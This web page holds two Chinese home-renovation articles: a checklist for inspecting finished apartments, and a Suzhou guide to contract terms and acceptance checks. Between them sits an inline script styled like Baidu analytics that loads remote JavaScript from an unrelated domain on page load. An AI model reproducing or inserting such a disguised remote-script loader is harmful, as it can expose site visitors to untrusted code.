精装房验房难？你需要一份精装修验房表

业主购买精装房后不必担心复杂的装修是精装房的最大优点。但是验房是一项艰巨而复杂的工程，在验房之前，需要准备一份精装修验房表，且必须包含结构检查、水路检查、电气检查及室内检查几方面。1、结构检查第一步是检查房子的整体布局，确认房屋区域、朝向是否合理，并检查一些室外设施是否完好。小高层还需要留意一下层高是否与合同要求一致，确保开发商在没有装修中将地板抬高。精装修验房表中还需注意阳台的问题，考虑能否实现阳台的关闭或开放。2、水路检查精装修验房表中不能缺少水路检查，需要知道浴缸是否会渗漏以及水是否会顺畅流动，检查浴室的水和污水管道，看看排水管是否排水顺畅。然后检查厨房，在水槽中反复加水观察排水管、检查水管是否被异物堵塞。检查供水和排水管是否畅通，打开水龙头中的水，然后看水压，看看排水速度是否理想。3、电气检查电气检查是精装修验房表中一定要重视的问题，关系到人身安全。首选检查配电箱的布局布线，电源回路是否合理，要对整个房间进行拉断电实验，查看主闸和分支线是否完全受控。要检查每个房子的插座是否有电，电话插座、宽带插座、电视天线插座是否处于规定的位置。4、室内检查首先，检查地面和墙面是否平坦以及是否有裂缝。检查天花板是否与围墙紧密配合，不应有大的裂缝，且看起来光滑平整。地板不应有拱形变形或严重的色差，走动时不能有声音发出，这些都需要在精装修验房表中列出。精装房验房是一项复杂的工作，做好前期准备工作才能事半功倍，一份精装修验房表可以提供帮助，表中需要包含结构检查、水路检查、电气检查和室内检查几部分。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

苏州精装修房屋攻略

苏州精装修房屋的时候要处处留意装修要点，不然很容易出现纰漏导致精装修房屋不仅不能达到精致装修的要求，还会有很多装修问题出现。当然，要做到应对自如必须要深入的了解苏州精装修房屋的知识。所以，今天小编就为大家分享了一些苏州精装修房屋的相关知识。苏州精装修房合同要点：第一个要点就是工程项目的施工质量。购买精装修房屋与买毛坯房的一个最大区别在于，对于装修过程消费者不能从始至终的进行监控，所以很多业主会对工程质量感到心中无数，这时，可以利用购房合同来弥补其中的缺陷。第二个要点就是住宅内的各类建材及设备。精装修房屋工程使用的各种主要材料在合同当中应该准确无误地表明，不要有任何遗漏，包括材料的品牌、型号等。别看这个问题不起眼儿，但很多投诉都是因此而起的。前几天，一个读者向笔者诉苦，他在验收精装修房时发现，卫生洁具和他与售房小姐谈定的品牌有所不同，但是由于他们在签合同时，觉得和对方谈得很好，没有更多地挑合同内容的不完善，尤其是建材设备部分的，所以现在发现了问题也没办法了。第三个要点就是环保问题，也就是竣工以后的室内空气质量问题。目前国家颁布了“十种装饰装修材料有害物质限量国家标准”以及“民用建筑工程室内环境污染控制规范”，这些标准以及规范是强制执行的行业法规，所以应该在购房合同中有所体现。第四个要点就是住宅的保修问题。关于这个问题很多业主不太重视，有人认为没必要，有的认为太麻烦。但实际上，住宅装修的保修十分必要，甚至可以说是必不可少的，在合同里要特别标注。苏州精装修项目验收要点：因为北方气候的原因，一些精装修项目在验收时可能会或多或少地存在一些因为气候原因产生的问题，因此，专家建议首先把验收的目光放在隐蔽工程上：检查厨房卫生间的上下水管道。看排水管道排水是否顺畅，上水管是否存在渗漏现象，可以把洗菜池、面盆、浴缸放满水，然后排出去，检查一下排水速度。对马桶的下水检查则需反复多次地进行排水试验，看看排水效果。检查配电线路。打开所有的灯具开关，看灯具是否都亮。如果条件允许还应该用万用表检查插座是否有电，用电话机检查电话线路是否有信号，用天线检查工具检查电视天线的信号。检查木工制品以及油漆工制品。这一步比较复杂，简单地说，应该检查木制品是否变形，接缝处开裂现象是否严重，五金件安装是否端正牢固，油漆是否存在流淌现象，墙壁涂料是否出现大范围开裂现象，这些基本上可以靠我们的眼睛去观察。检验墙地砖的空鼓问题。检查厨房卫生间以及其他部位的墙地砖的空鼓，用一个小橡皮槌随意地敲敲瓷砖、地砖就可以了，如果空鼓率超过3%，说明存在质量问题(空鼓率是指100块瓷砖地砖当中存在多少空鼓的，它的空鼓率就是多少)。检查细节。对一些边边角角的地方做仔细检查，如卫生间门口是否有挡水条，窗子是否会存在雨水流入，开关插座面板是否存在划痕，浴室五金安装位置是否合理等等。检查建材的品牌与合同是否相符，另外，专家建议业主在验收施工项目的工程质量时还应该花时间检查一下建材的品牌。据了解，一些精装修楼盘业主在验收时发现防盗门、卫生洁具、装饰材料、灯具、整体橱柜等都出现了与原来合同约定的品牌不符的问题。建材产品和设备品牌被更换，意味着住宅品质可能被变换。业主应检查被更换的品牌与原合同约定的差别到底在哪，小心被更换的建材产品档次下降。更多关于苏州精装修房屋的内容尽在苏州装修网!